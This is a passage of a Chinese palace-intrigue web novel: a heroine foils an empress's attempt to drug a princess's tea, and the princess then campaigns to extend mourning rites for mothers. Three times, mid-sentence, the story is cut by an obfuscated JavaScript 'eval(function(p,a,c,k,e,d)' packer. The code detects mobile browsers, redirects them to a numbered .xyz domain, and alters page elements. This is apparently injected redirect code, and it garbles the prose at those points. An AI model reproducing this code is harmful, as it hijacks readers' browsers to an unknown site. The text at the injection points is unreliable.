可转念一想,她意识到——自己从未有过生辰宴。 为何来着? 昭离正欲寻找那造成自己不幸的根源时,「三从法则」倏地如巨石般压下来,堵住了她的思路。 姜婋突然问:“若是皇子的生辰,他也会如此敷衍吗?” 昭离被这句话唤回神来,迟疑片刻,才轻声道:“之前六弟生辰之时,父皇设宴三天,还赐了专属的讲读官和护卫营。” 姜婋冷笑:“你看吧,这才是父权最狡猾之处,对女儿和儿子的爱截然相反,对女儿再好,也不会给她任何权力,但需要公主和亲之时,就推她去死……” 她见昭离神情黯淡,便收了尾音,没有再说下去。 * 这时,媚皇后复而又至,手中托着一柄雕工精巧的茶壶。 壶身正面绘着一对鸳鸯,翅羽相偎,神情缱绻,似要从壶壁游入人心里似的。 她笑道:“公主既不饮酒,本宫便敬你一盏茶吧。” 昭离眼神微凝,看向姜婋,二人察觉有诈。 媚皇后倒了一盏,只见茶水澄澈清亮,隐有幽香溢出。 “请公主尝尝,这是今年进献的春茶。” 她递来杯盏,手悬在空中,正在昭离纠结之际,姜婋眼疾手快,忽然伸手将茶盏接过,故作慌乱,顺势打翻! 滚烫的茶水泼洒在她与媚皇后衣襟之上,瞬间湿了一大片。 姜婋立刻下跪:“啊呀!民女该死,请皇后恕罪。” 她这一嗓子喊出来,引来众宾客视线。 媚皇后也不好当众发难,只能强撑笑容:“罢了,本宫先去更衣。” 可她转身的瞬间,笑意尽消。 姜婋见自己的衣衫正巧湿在胸口处,低声朝昭离道:“我去你宫里换身衣服,我速去速回,你切记,万不可入口一物。” 昭离点头:“你也多加小心。” * 另一边,媚皇后携众宫女穿过回廊,途经凉亭之时,将茶壶随手搁下。 她脱下外袍,看着沾湿的地方正是绣着彩凤的位置。 身后的宫女惋惜道:“这可是娘娘为小公主寿辰特意裁制的华服,彩凤乃是金线绣制,最忌沾水,如今被茶水泼脏,只怕是难以修补了……” 媚皇后叹了口气:“走吧,回殿更衣。” 她转身而去,身后的宫女们低头跟上。 而那鸳鸯茶壶,就这般孤零零遗落在亭中案上…… * 宴席这边,昭离方才松口气,忽听一阵热络笑声传来。 循声望去,只见一人衣饰华丽,腰间挂满了玉佩,步履间叮铃作响。他脸上挂着几分憨态,手执折扇,款款走来。 昭离认出此人正是——小侯爷赵湛。 赵湛满面堆笑,作揖上前道:“公主殿下安好!小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905749|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯早闻公主回銮,苦于无缘得见,今日得此良机,敬殿下一杯,以表敬仰之情。” 昭离心想,自己跟他没有走得很近,不知道今日为何突献殷勤,登时警惕起来:“小侯爷,今月乃家慈先皇后忌辰,我不宜饮酒。” 赵湛一拍脑门,自觉失言:“瞧我这脑子!公主殿下不饮,小侯也不饮了。” 说着,他将扇子一合,从旁拿了几样精致点心:“那请殿下尝尝小侯亲挑的果子,解解乏气。” 昭离依旧未动。 赵湛自觉冷场,腆着笑脸凑近些:“昭离阿姐,小侯有一事相求,不知该不该讲……” 昭离挑眉:“何事?” 赵湛讷讷开口:“那日先蚕礼上,小侯远远瞧见殿下身边有位娘子……可否请殿下引见一二?” 昭离神色顿紧:“你说的是婋婋?” 赵湛喜出望外:“正是正是!敢问那位娘子是哪家千金,小侯怎么从未在兴都见过?” “你当然没见过,她是顾云铮的妹妹,一直生活在西陲——” 昭离话锋顿住,回眸见小侯爷一脸痴迷傻样,瞬间明了,这人是倾心于婋婋! 赵湛害羞地搓着手:“原来是顾将军的妹妹,难怪一表人才、珠光宝气、风流绝艳,比那李香君、杜十娘还要美上百倍!” 昭离眉头一蹙,冷冷打断:“小侯爷,你这用词怕是不妥吧?” 赵湛一愣,旋即涨红了脸,忙用扇子敲脑门:“公主殿下莫怪,小侯我书念得不好……” 昭离想起来,这小侯爷是个著名的皇家笑柄,胸无点墨却偏爱咬文嚼字,每次都说错话,所以皇室之人很不待见他,还讥讽他为“蠢侯一枝花”。 她瞧他这副痴痴模样,心头一凛,他怎配得上婋婋? 纵使顾云铮与婋婋站在一处,都是“蒹葭倚玉树”,若他跟婋婋站在一起,那简直就是“狗尾巴缠仙芝”! 完全不登对! 自己可得速速斩断这孽缘—— 昭离当即道:“小侯爷若惜这条性命,还是离姜婋远些罢。她素爱舞刀弄剑,性子极烈,你若说错话惹恼了她,当心她一剑劈来,到时你小命不保!” 赵湛登时面如土色:“啊?这娘子竟……如此厉害?” 昭离不答,掩袖轻笑。 赵湛求道:“那昭离阿姐,你可得帮帮我啊……” 昭离不待他说完,就瞥见远处昭宜公主与六皇子赵祐追逐玩闹,不多时,赵祐忽然剧咳不止。 正巧更衣归来的媚皇后见此情形,疾步上前,厉声斥道:“昭宜!你怎这般顽劣,不知轻重!” 昭宜一怔,泪水扑簌而下。 见状,昭离立刻站起身道:“失陪,我得去那边瞧瞧——” 她趁机摆脱赵湛,迅速向昭宜走去,留下赵湛原地苦恼。 * 走近几步后,昭离将小公主抱入怀中,轻声安慰:“好了好了,不哭了。” 昭宜一边哭一边指着赵祐道:“是六哥拿弹弓打我,我才追他的,他一跑就咳,怪不得我……” 媚皇后闻言,看见昭宜额头发红,心下难受,但在众人面前也不好指责皇子,只能给他抚背顺气,生怕他有个闪失。 昭离给小公主擦了擦泪:“今日可是你的生辰,再哭就不能吃水晶肘子咯。” 昭宜闻言止住了哭,抽抽噎噎道:“那、那我不哭了……” 正巧这时,太医赶来,媚皇后便连忙带着赵佑去服药。 昭离见此,心中一寒,看到哭得像小花猫的昭宜,不禁涌起一股莫名的酸楚。 这就是女子的命运吗? 身为公主又如何? 父皇对她不过是一瞥,为了天意弃之不顾,生母媚皇后也是先去照顾那个所谓的皇子。 今日的生辰宴,明明主角是昭宜,然而她却是最被忽视的存在。 昭离轻叹一声,柔声道:“今晚姐姐陪你玩,你想玩什么?” 昭宜破涕为笑:“我想玩捉迷藏。” “那姐姐来捉你啦!” 昭宜咯咯笑起来,撒欢跑开。 昭离立刻追上去,二人追逐着,嬉笑间穿过凉亭,却未发觉,那绘有鸳鸯的茶壶,仍静静伫于桌案之上…… 48.23 这边厢,赵湛依旧不甘心,便端着一壶酒往男宾宴席去了。 他目光逡巡,看到高挑俊朗的顾将军,忙殷殷勤勤地行礼道:“久闻顾将军大名,小侯赵湛特来敬你一杯。” 顾云铮看了他一眼,谨记姜婋的忠告——不要喝酒! 他便推辞道:“侯爷,实在不巧,顾某前几日受了伤,现下不宜饮酒。” 赵湛一惊,自来熟地伸手问道:“将军伤在哪里?” 顾云铮退了一步,微微皱眉。 赵湛放下酒壶:“那便不饮酒了,顾将军,不如我们边走边聊?” * 于是,两人一同漫步在御花园中,远处的戏台上传来悠扬的鼓乐声。 赵湛示好道:“听闻顾将军有一妹妹……” 顾云铮顿时警觉:“怎么了?” 赵湛略显羞涩:“实不相瞒,先蚕礼之时,本侯对令妹一见倾心,还望顾将军成全!” 顾云铮一时沉默,心中不禁思量。 此人看起来也算相貌堂堂,虽然和自己比起来差了许多……但身为侯爷,若是筱筱与他成婚,倒也是门当户对。 于是,他便想试探一下赵湛的品性与学识。 “侯爷平日里喜欢做些什么?” 赵湛答道:“我最喜欢看书了。” 顾云铮又问:“那侯爷爱读什么书?” 赵湛毫不犹豫道:“《西厢记》、《桃花扇》、《意中缘》、《男孟母教何三迁》……” 顾云铮不禁皱眉,心想,这人似乎有些玩物丧志。 赵湛见顾云铮脸色不悦,立刻解释道:“四书五经我也是读的,不过……” 他幽幽一叹:“身为皇家子弟,读再多的书也不能科考。我父王是个不受宠,被派去守皇陵的王爷,我再怎么努力,也只能做一个闲散的侯爷罢了。所以只得看些戏曲本子聊以度日……” 顾云铮听了,想起妹妹曾经说过的话,若自己成为驸马,岂不就要像这个侯爷一般,当个富贵闲人,终日困于皇家,却无所事事…… 赵湛虚弱一笑:“其实我很羡慕将军,你驰骋沙场,镇守西陲,心里定看不起我们这些在京城的侯爷,觉得我们只是大昭的蛀虫。实不相瞒,我也想做些有意义的事,可若是做得多,别人又会说我有权欲;不做,又被说成不学无术。” 他挠了挠头,显得有些迷茫:“我也不知道该怎么办……直到看见昭离公主,虽为女子,却也能成就一番伟业。身为男子的我,既自愧不如又心潮澎湃。那日先蚕礼时,瞧见昭离阿姐身侧的令妹,英姿勃发,与兴都的人着实是天差地别,真令人心向往之……” 顾云铮听到这里,心中微微一动,似乎感同身受。 他对公主的感情,不就是像赵湛对他妹妹一样吗? 心中向往,却也觉有云泥之别,不禁一时怅然。 * 正巧二人走到凉亭附近,宫人正准备将遗落的那鸳鸯茶壶端走。 赵湛眼尖,看到后便喊道:“那茶壶留下,本侯正好口渴了,去,拿两个茶杯来。” 宫人应声而去。 赵湛出手一碰,茶壶仍是温热的,笑道:“茶还尚温。” 宫人送来茶杯,赵湛便端起茶壶,倒了两杯,顿时茶香四溢,还泛有一股奇香。 他不禁赞道:“这宫里的茶,果然都是好茶!顾将军,不如我们以茶代酒干一杯?” 顾云铮心中暗忖,妹妹只说不让喝酒,茶应该无妨,于是端起茶杯,豪爽地一饮而尽。 他们都未曾察觉,茶中媚皇后下的春药已经悄然入喉。 两人虽是饮茶,却觉得微微有些醉意,眼前的人也显得格外顺眼。 于是,渐渐敞开心扉,畅谈无忌。 * 另一边,姜婋换好衣服急匆匆赶回,见昭离不在宴席中,顿时心头一紧! 她忙不迭地四下寻找,终于在御花园的假山一角,找到正和小公主玩捉迷藏的昭离,这才心中稍安。 只见昭宜欢快地拍手:“皇姐,皇姐,我在这里呢!” 昭离蒙着眼睛,摸索着寻声而去:“你在哪呀?” “这儿呢!这儿呢——” 姜婋悄然走近,和昭宜交换了一个眼色,小公主便欢快地跑开了。 昭离迅速扑向前:“我抓到你了,看你往哪儿跑!” 她一把摘掉布条,却发现抱着的并非昭宜,而是姜婋! 姜婋笑道:“我哪儿也不跑。” 昭离莞尔:“怎么是你呀……” 姜婋道:“你不在席间,可让我好找。” 此时,照顾公主的嬷嬷走来,昭宜便先行离开。 * 姜婋和昭离继续在假山附近散步,昭离便将刚才小公主和六皇子之间的矛盾讲给她听。 姜婋听后叹道:“没想到媚皇后竟将所有希望寄托在六皇子身上,不惜冷落自己的亲生女儿……” 昭离也是疑惑:“难道亲生骨肉也得在皇子面前退让?我们大昭何时才能摒弃那男尊女卑的陋习?” 姜婋眉目一凛:“所以,需要你来改变这世道。” 昭离唇角动了动,含笑点头。 * 两人说话间,身后忽然传来一阵窸窸窣窣的脚步声。 她们同时警觉回望,只见一个踉跄身影东倒西歪地走来,竟是赵湛! 只见他面色涨红,眼神迷离,痴痴道:“梦中人,这不是我的梦中人……” 姜婋眉头紧皱,抬手便是一拳,赵湛“啊”一声倒地。 “何人如此无礼——”她怒声喝道。 昭离忙拦道:“这是小侯爷赵湛!他……好像喝醉了?” 姜婋心中疑惑:“赵湛?谁呀?” 脑海中,系统淡定提示:“玩家,你忘了,他正是你的官配,未来的夫君——” 姜婋顿时怒吼:“谁的夫君?滚一边去!我岂会看上这等醉汉窝囊废!” 一时间,她猛然记起,这本小说秉承着“配平原则”,还真给顾云筱安排了一个官配,正是昭离公主的堂弟,小侯爷赵湛。 她一直忙着辅佐公主,都把这人忘在九霄云外了。 没想到,今天居然让他登场了? 姜婋紧握拳头,心里暗道:无妨,我即刻就让他下线…… * 就在这时,远处一个身影摇摇晃晃靠近,正是顾云铮! 他看见昭离,渐渐把持不定,只觉全身情热如沸,情不自禁地向她扑去:“公主,你别走……” 昭离闪身一躲,满脸惊愕:“顾将军,你做什么?” 姜婋眼疾手快,又是一阵拳打脚踢,将赵湛和顾云铮一同打翻在地,迅速用披帛将两人绑在一起。 昭离目瞪口呆:“他们二人这是怎么了?” 姜婋拍了拍手:“你没中计,倒是这两位傻蛋中了!” 昭离忙问:“到底是怎么回事?” “我猜测,他们应该是喝了媚皇后原本为你准备的茶水,这茶中恐怕加入了春药……” “什么?”昭离顿时脸色一变,“皇后为何要这么做?” 姜婋道:“你刚回宫时,媚皇后就急欲为你赐婚。你一旦成婚,困入深闺,便再也掀不起任何风浪,更无法对抗她的权力。虽然我哥哥拒绝了赐婚,但你在先蚕礼上风头无两,媚皇后自然心生忌惮。若婚事不成,她便想将你与我哥‘生米煮成熟饭’。” 昭离愤然大怒:“同为女子,媚皇后竟如此歹毒?” “所以我提醒过你,宴会上的东西尽量不要入口。” 姜婋说着,回头看向顾云铮:“可我也提醒了我哥,没想到他还是中计了……” 昭离忙道:“那该怎么办?我们不能任他们如此犯浑下去,可若现在出去找人帮忙,别人见了他们二人与我们在一起,恐怕也要引人非议!” 姜婋神色淡定,从怀里掏出一个药瓶:“这本是我为你准备的解药……” 昭离急道:“那速速给他们服下!” 姜婋打开药瓶,叹了口气:“但解药只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918010|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颗。” “那你能再做一颗吗?” “没那么简单……” 姜婋寻思道,自己在西陲之时苦读医书,就是为了对付原著中这个危机,她千辛万苦也只调配了一颗,哪料如今竟是两个人中招? 此时,顾云铮突然醒了一瞬:“筱筱,哥哥的靴子里有刀,若你刺我一刀,我便能清醒几分。” “哥,你要是在宫中宴会受伤,旁人会误以为有刺客,细查之下,我们还是解释不清啊。” 这时,姜婋不甘心地呼叫系统: “系统,有没有什么办法能让这颗解药救两个人?” 系统:“若是直接服用,一颗解药确实不够。但若是通过肠壁吸收,只需正常药量的一半。” 姜婋霎时眸光雪亮! * 她走到赵湛身边,猛地甩了他一巴掌:“清醒点!” 赵湛微微睁开眼,面色红润,痴痴笑道:“仙子……” 姜婋又给了他一个耳光:“仙你个大头鬼!听着,你和我哥都中了春药,可眼下解药只有一颗。” 赵湛被打得稍微清醒些:“那、那怎么办?” 姜婋低声道:“有个法子,把解药分成两半,从肠壁吸收就行了。” 赵湛一脸茫然:“肠、肠壁怎么吸收?” 顾云铮见多识广,闻言立刻明白,登时沉默。 姜婋无语:“具体细节你问我哥,我先帮你们解开绳索,赶紧服药!” 说罢,姜婋给两人松绑,二人互相搀扶着,拿上解药,走到假山树后。 一旁的昭离别过脸,脸上红一阵白一阵,轻声问道:“你、你是怎么想到这个法子的?” 姜婋回头,咧嘴一笑:“怎么样,医学很伟大吧?” * 另一边,宴席上。 媚皇后将六皇子安顿妥当,回头却发现凉亭中的鸳鸯茶壶不翼而飞,心中一惊,连忙派人寻找。 她四处张望,发现昭离和顾云铮不见踪迹,不禁心头一动,难道自己设下的计谋已然得逞? 于是,她故意开口问:“怎得不见昭离公主?” 众人皆未察觉,便纷纷摇头。 媚皇后双眼微眯:“顾将军也不见踪影,莫非……我去寻一寻便可知了……” 她一挥手,带领着一队宫人浩浩荡荡地开始寻找,走至御花园的假山附近,果然在草丛中捡回那鸳鸯茶壶,见里头茶水已空,顿时心中窃喜。 正当她猜测计谋是否得逞之时,忽地听见假山后面传来阵阵窸窣声,似是有人在穿衣服,又夹杂着阵阵喘息。 媚皇后心道,看来好事已成! 她得意洋洋地带着宫人们走到假山之后,映入眼帘的却是—— 月光下,顾云铮和赵湛正兴致勃勃地比武。 只见顾云铮手握树枝,如银枪一般舞动,带起阵阵风声。 赵湛以扇子抵挡:“顾将军,你这功夫真是厉害,今日领教,令小侯大开眼界!” 顾云铮回应:“小侯爷功夫不差,若是多加练习,定能大有进展。” 二人气喘吁吁,见招拆招,停不下来。 媚皇后见此,蛾眉倒竖,质问道:“你们在做什么?” 闻言,顾云铮和赵湛马上停手,行礼道:“参见皇后娘娘。” 只见两人满头大汗,气喘如牛,面色绯红,显然已经累得不轻。 顾云铮擦了擦额头的汗珠:“回禀皇后娘娘,我与小侯爷在席间谈得兴起,便想以武会友,试一试各自功夫,不觉竟比试良久。” 媚皇后冷冷地问:“你们可见过昭离公主?” 赵湛和顾云铮各自摇头。 * 媚皇后拂袖离开,心中正盘算着昭离哪去了? 刚到御花园一隅,却见她正陪着自己的女儿昭宜玩着投壶呢! 姜婋站在一边当裁判,三人不亦乐乎,笑声不断。 媚皇后脸色骤变,攥紧手中的茶壶,心中暗道:“所以——到底是谁喝了这壶茶?!” 49.24 夜色沉沉,朝华宫灯火微明。 今夜惊魂方定,昭离与姜婋回宫之后,因宴席间未敢入口半物,此刻两人已是饥肠辘辘。 昭离便命人简设夜膳,二人相对而坐。 她方动几箸,便放下筷子,神色愠怒,低声问道: “我真是想不明白,媚皇后为何心思这么毒辣?她与我同为女子,怎会设下如此……如此下作之计?” 姜婋夹起一筷肉片:“你要知道,有些登上权力巅峰的女性会比男性还要厌女,既不怜女性之苦,亦不愿与女性为伍,只以为自己已然凌驾其上。甚至有些干脆把自己当做男子!” 昭离微微蹙眉,沉吟不语。 姜婋喝了口茶道:“媚皇后与你不同。你自幼长于市井,历经饥寒困苦,所以能知百姓之疾,尤怜女子之不易。你的权力之路不仅仅是为了你自己,也是为那千千万万命如草芥的女子。但媚皇后却非如此。她虽才智不凡,但并没为女子争取权力,恐怕她尚未觉醒,还没有身为‘女’的自觉。” 昭离喟然一叹:“我们皆为女身,难道只因争权,便可弃了女性之情?” 姜婋道:“自古以来,我们女子群体就被男子分裂。有一部分女性内化了男性的压迫,她们无法容忍在狭窄的权力空间,与另一个女人并肩而立。于是乎,便在这狭路中内斗、相妒,直至头破血流。却殊不知,即便继承男性的压迫方式,仍不能打破权力结构的路径,这不过是在助纣为虐罢了。但……也不可尽怪她们。” 她放下茶盏,语声转缓:“自古女子所获得的资源有限,温饱尚且成难,又何来思辨呢?女性意识,终归是‘衣食足’后,方能滋生的产物。” 昭离垂眸点头:“那依你所言,女子的自觉,又该如何启蒙?” 姜婋思忖道:“以我的粗见,这启蒙觉醒分三层。 “这第一层,便是意识到自己是女性,与男性不同。任何时代的女性自幼年起,便会有这种基本的性别意识。” “第二层,随着成长与社会教化的影响,女子的社会性别意识会逐渐强化,认识到女性不仅与男性不同,而且在父权制之下,地位低于男性,有着尊卑、主从等区别。多数女子终其一生认同,且服膺这种观念,安守女性本分,并未发生过疑问、思考,她们的女性意识也就至此而已。” 昭离屏息,又问:“那第三层呢?” 姜婋注视着她,语气沉静却掷地有声: “第三层,便是像你这般,不甘困于桎梏,不肯屈于命数,于世道不公中醒觉而立。不再甘为附庸,不再只为从属,而是开始思索,女子亦为人,以自我为主体,追逐自身之志,亦愿助同道之女子,踏出属于自己的路!” 昭离眸光一敛,沉默良久。 “我原本以为,若能与媚皇后联手,或许可以共破旧制,如今看来,她并非同道中人。” 姜婋劝慰:“我理解你的生气,但是你也不必因此,就把她当成永远的敌人。你要记住,你真正的敌人,是你的父皇——以及他背后的那座千年不倒的皇权与父权。” 昭离轻声应道:“我明白……” 说罢,两人又各自吃了几口,遣了宫人收走食器,换上温酒。 红泥小炉里,炭火劈啪作响,酒壶泛起隐隐清香。 姜婋斟了一杯,仰首饮尽,轻啧一声:“美味!” 昭离兀自饮茶,眉头紧锁:“我担心媚皇后此计不成,还会另设陷阱。今夜是她女儿生辰,明日是她自己,再往后又是父皇的寿辰……我总不能一直推辞,永远滴酒不沾吧?” 姜婋垂眸思考,复吟昭离之言:“滴酒不沾……” 昭离坦诚道:“其实家慈忌日将至,也并非我的托辞。母亲故去那年,我未能尽孝守丧。如今也只能在她忌日,略表心意了……” 姜婋眼神一亮:“我有一计!可令你今年、明年,往后三年皆不必饮酒,甚至先皇后母家被人诬陷的屈辱,也可以一并消除!” 昭离惊讶道:“何计?” 姜婋一脸神秘:“你附耳来听。” 二人俯首于烛光之下,窃语低言,烛影映在昭离脸上,把她眸子照得雪亮。 * 翌日,长生观。 皇帝赵柟一袭道袍,静坐在榻,案前香炉袅袅,耳边流水潺潺,正是他喜爱的“天人合一”之境。 一旁,媚皇后亲手烹茶,期间她禀报早朝大臣所奏政事。 每日皆是如此,对于皇帝来说,早朝是选修课。心情好时便露个脸,心情不好之时,就在长生观一躲,把所有麻烦事都推给媚皇后。 看似是媚皇后与皇帝共治天下,但实际上,媚皇后的每一项决策也要经由皇帝的认同。但决策好了,百官就会说是皇帝英明,可若出了问题,背锅的就是媚皇后。 媚皇后不仅是皇帝的盾牌,遮挡一切刀枪剑雨,替他处理一切繁杂琐事。 她还身兼保姆、伴侣、助手、合伙人……但只领皇后一份工资,却承担杀头及灭族之风险,实乃高危职业。 这边,媚皇后汇报完毕。 赵柟闭目听完,淡声应道:“无甚要紧,照常办理。” “臣妾遵旨。” 媚皇后说罢,放下茶盏:“昨夜寿宴之上,昭离公主推却饮酒。臣妾问之,她言先皇后忌日将至,心有所感,不便宴饮。” 赵柟眼皮微睁:“那孩子有孝心,难得。” “只是臣妾如今为后,她在众人面前素衣冷面,终究……难免令臣妾左右为难。” 赵柟未作回应,转而问询:“听闻昨夜昭宜与祐儿又闹了别扭?” 媚皇后略一迟疑:“是臣妾管教不周。小孩子们打闹,多是亲昵之举。” 赵柟皱眉:“祐儿乃皇子,岂容鲁莽胡闹?若出了岔子,你担得起么?” 媚皇后面色微变:“是,臣妾谨记。” * 这时,外头传来宫人禀报声:“昭离公主求见。” 赵柟略觉讶异:“她来这里所为何事?宣——” 片刻后,只见昭离步入殿中,一袭素裳,发髻仅簪一枝白花,仿若披麻戴孝。 赵柟见状,面色阴沉:“昭离,你此番装束成何体统?朕还尚在,你给谁守孝?” 媚皇后见此,心道,昭离此举简直是拔虎须,皇帝最怕的就是死,她还敢在皇帝面前穿孝服,真是自寻死路。 只见昭离跪地,扬声回道:“启禀父皇,臣女并非妄为,而是为家慈先皇后守孝。” 赵柟一怔:“你母后薨逝……”他拈指而算,“已有六载,早已出丧,你为何再着重孝?” 昭离抬头,满眼含愧道:“当年臣女流落民间,母后薨逝之时,未得奔丧、守灵、哭奠,实乃女儿一生之憾。近日来午夜梦回,屡见母后含泪而来,说我未尽孝道,臣女心中难安。故恳请父皇准允,让我为先皇后守孝三年,以赎此罪。” “三年?”赵柟蹙眉。 媚皇后提醒:“公主莫不是记错了?我大昭律法,父丧三年,母丧一年。” “回禀父皇,皇后,臣女并未记错。只是——” 昭离躬身再拜,言辞恳切:“臣女不止为先皇后请命,亦是为天下母亲请命,将大昭律法,母丧期由一年改为三年。” 此语一出,四下寂然,连媚皇后都停下了烹茶的手。 赵柟凝视她良久,面露迟疑。 他心知此事事关重大,更知一旦开口,便是动摇律法和父系伦理。 “昭离,此事非同寻常。” 昭离道:“臣女正是知此举非同寻常,才要以身明志,以正孝道。《礼记·丧服四制》有云:‘资于事父以事母,而爱同。’既然爱同,何以父丧三年、母丧仅为一年?况且母亲十月怀胎,忍痛分娩,哺乳教养,其恩尤重,理应同等看待。 “如今世道沦落,为母守孝一年者尚且寥寥,多有减至月期、旬期者。出嫁的女儿更是对母亲的丧服都随之缩短,只能为夫家守斩衰重孝。 “臣女以为,若不从律法根本上提升母亲地位,何以为孝?何以育人?因此,臣女愿以身试法,为母守孝三年,并请父皇颁旨,将母丧期由齐衰一年,改为斩衰三年。以正伦常,以弘孝道。” * 这看似是一个关于丧期的改变,但其实背后牵扯颇深。 自古以来,“妇”与“母”的地位是分不开的,提高了母亲的丧期,等于提高母亲的地位,也就同时提高了妻子,乃至一切女性的地位。 昭离看似是在为自己的母亲守孝,延长先皇后丧期,但实际上是想借机提高天下女人的丧期,连带着提高天下女人的地位。 昭离神色庄重,继续道:“当年父皇之母、臣女的太母——薄太后,虽出身微寒,却倾心竭力抚育父皇。父皇即位后,特追封其为皇太后,举国致哀,以彰其恩德。此举既为仁孝之范,更为我大昭儿女之表率。今日,臣女愿效仿父皇之举!” 昭离说罢,又是一拜。 此番言辞,既颂扬了赵柟的孝道,又无形中将他置于道义的高台。 若他应允,便成全了昭离之志,他若反对,就否定了当年追封其母为皇太后的初衷。 毕竟,当年追封,正是他登基名正言顺的重要凭证。而今,昭离巧借旧事,以此为自己正名,进退之间,自成章法。 赵柟捻须思索,沉吟未语。 * 另一边,媚皇后却神色微动。 她原以为昭离昨夜不过是借“守孝”为由推辞饮宴,然细思之,自天蚕礼以来,昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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昭离沉思片刻,忽然悟出:“此事将载入史册,而法令之因由,必会注明因‘先皇后薨逝,昭离公主请愿改制’,每一次翻阅律典,便是一次为母亲昭雪之举。” 姜婋颔首:“正是。” 昭离神情激动:“母亲若在天有灵,也可稍感慰藉了。她生前母家被谗言所害,虽后事查明,却为时已晚,母家覆灭,母亲亦因此自尽。如今此令既出,也是我能尽的一点孝道。” 姜婋安慰地拍了拍她的肩头。 昭离转言:“只是我未料到,那日媚皇后竟会助我。” “毕竟你所请之事,对她而言,有百利而无一害。你将母服丧期与父同列,实则是于无声中抬升天下母亲的地位,自也连带着拔高了她的身分。她若反对,岂不是自毁根基?” 昭离点了点头。 姜婋接着道:“正如我之前所说,你不用因为媚皇后做了一件错事,就把她整个人彻底否定。我们总愿宽恕男子,却往往苛待女子。媚皇后虽和我们不在一条战线,但她确实懂得怎么利用你的父皇,来达成自己的目的。这份手腕,亦当敬之。正如回夏巫珠托罗沙,我们立场虽异,然一旦利益相合,便是最稳固的盟友。” 昭离道:“如此看来,我还须备上一份厚礼,谢她相助。” “若是你送的,她未必肯收,反而生疑心。” 昭离眉眼一转:“那便绕个弯子,送给昭宜如何?” “嗯,这倒可行。 * 昭离望了姜婋一眼,语气带着一丝调侃与试探:“对了,上次昭宜生辰宴,你也见着了我那位堂弟——赵湛。” 姜婋坐在廊下,捻盏低啜,不甚在意:“你是说那个醉汉?” 昭离扑哧一笑:“风流倜傥的小侯爷,在你眼中就只是个‘醉汉’?” “那不然呢?” 姜婋似想起什么:“对了,我哥那晚回去后,写了封道歉信给你。你要不要看看?” 昭离摆摆手:“不必。毕竟这事也不是顾将军的错。” 姜婋将信放于案上:“可他心中歉疚,不写难受,这信我放在这儿了。” 昭离未接,而是转言道:“赵湛说,在天蚕礼时对你一见倾心,托我引荐于你……你意下如何?” 姜婋眸色未动,只是定定看向她,一脸肃然。 “昭离,我和你回兴都,只为一件事情,完成癞头和尚与跛脚道人的命中判词,辅你成为一代母君。除了此事,其他的人和事与我而言皆是浮云。无论别人如何,我的心永远只向着你,向着我们共同的目标。” 昭离心头一震,猛地握住她的手:“我也是……与你所想的并无二致。” 二人相视一笑。 只是,昭离眼底藏着一缕不为人知的依赖,而姜婋的眼中,唯有助她成为一代母君的使命。 50.25 自昭离回到兴都以来,京中风向已悄然生变。 起初,人们只当她是一位有安疆杀敌之功的血性公主。未曾想,先蚕礼上公主智勇无双,把一场浩天危机用鱼线化作绕指柔,不但护得天子颜面,还为天下女子发声。紧接着,母丧律法因她而改,民间大赞昭离公主孝心可感天地。 更有人说,这位公主虽是皇族,但长在民间,最知百姓疾苦。 于是便有了无数公主早年间在湖州的传说,在坊间流传。譬如,年幼时勇救溺童、智斗恶贼…… 兴都小报日日更新,勾栏瓦舍争相演绎《昭离记》。 一时间,“民心之主”、“天降公主”的名头传遍兴都,男女老幼皆知昭离,连卖大饼的小贩都能讲上两段。 原本驸马这差事,谁都避之不及,如今却成了香饽饽。 不过,好在昭离尚在丧期,三年内不议婚嫁。 但有一个人却坐不住了,正是原男主·顾云铮。 自从生辰宴上他误服春药,对公主无礼之后,日夜难安,已被愧意熬得眼眶乌青,形容憔悴。昔日英姿勃发的大将军,活脱脱成了个失恋少男。 * 这日,阳光明媚,驿站庭院内暑气微升,正是暮春初夏的时节。 姜婋坐于廊下,慢条斯理地吃着排队买来的阮记冰雪冷丸子,一脸满足。 顾云铮却满脸心事,步履沉重地走来。 “筱筱……” 他喉咙干涩,欲言又止,“我想向公主赔礼道歉,上次那封信,总觉着不够有诚意。” 姜婋咬着勺柄道:“哥,你的道歉信我已经带到了,公主都说了,她不怪你,你也甭在意了。” 顾云铮面色憔悴:“她虽说不怪我,我却怪自己……我这几日茶饭难咽,辗转难眠……” 见顾云铮变成一脸患得患失的样子,姜婋不禁暗自腹诽。 原小说里,顾云铮可是个所有人都围着他转的男主角,甚至还成为了媚皇后和公主争风吃醋的对象。 那是因为杀宰牙、灭依兹、换银州,这些都曾是附着在顾云铮身上的「男主光环」。 可如今,这些全都是昭离的功绩了。 甚至,两人的地位也发生大逆转。 原小说中,昭离在西陲无依无靠,只能依靠顾云铮。再加上「浪漫爱法则」推动,昭离难免会对顾云铮产生「雏鸟情结」,需要男主羽翼的庇护。 但如今,她提前结束了在西陲的故事线,带着野心和欲望回到了兴都。 对父权制来说,没有什么比一个能触及自己欲望和野心的女人,更危险的存在了。 